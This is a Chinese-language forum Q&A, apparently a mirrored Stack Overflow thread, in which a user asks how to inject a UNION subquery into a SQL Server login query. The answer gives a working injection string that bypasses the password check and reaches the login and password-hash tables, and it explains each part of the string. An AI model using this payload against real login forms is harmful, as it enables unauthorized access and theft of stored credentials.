在现有 SELECT 语句中插入 SELECT

问题描述 投票:0回答:1

我需要在 SQL Server 上执行 SQL 注入并操作现有的

SELECT
查询以添加另一个
SELECT
查询,其中我需要联合两个表。一张桌子名为
LOGIN
,另一张桌子名为
PWORDHASH

我需要注入的代码是这样的

SELECT * 
FROM login 
WHERE pswd = '$input';

输入是网页上的一个表单,我将在其中使用

'
字符进行利用。当我需要注入
OR
语句来绕过登录时,这通常有效,但在这种情况下,我需要输入另一个
SELECT
查询,就像这样。

我的注入代码是这样的

'(SELECT password FROM login UNION SELECT hashes FROM PWORDHASH); --';

我在原来的声明中加入了这样的内容:

SELECT * 
FROM login 
WHERE pswd = ' '(SELECT password FROM login UNION SELECT hashes FROM PWORDHASH); --';

但是,这段代码不会产生任何结果。如果我单独取出注入的查询,

(SELECT password FROM login UNION SELECT hashes FROM PWORDHASH);

并在我的数据库中运行它,我将收到行。所以查询是正确的,但我的注射不正确?

sql sql-server sql-injection
1个回答
0
投票

现有 SELECT 语句中的 SQL 注入

为了实现您的目标,您的注入字符串查询应该如下所示;

注射查询:

' OR pswd IN (SELECT password FROM login UNION SELECT hashes FROM PWORDHASH) -- 

原因如下:

  • ' OR
    将结束原来的
    pswd = '
    条件,这使得原来的密码条件变得无关紧要。
  • 提供的 SQL 查询:
    pswd IN (SELECT password FROM login UNION SELECT hashes FROM PWORDHASH)
    旨在检查“登录”表中的密码是否存在于通过联合操作组合的两个结果集中。
  • 查询末尾的
    --
    是一个 SQL 注释,它将使原始 SQL 查询的其余部分(如果有)无效,这样 SQL 查询的其余部分就不会干扰您注入的代码。

我认为这应该可以解决您的问题。如果您有任何疑问,请添加评论。

© www.soinside.com 2019 - 2024. All rights reserved.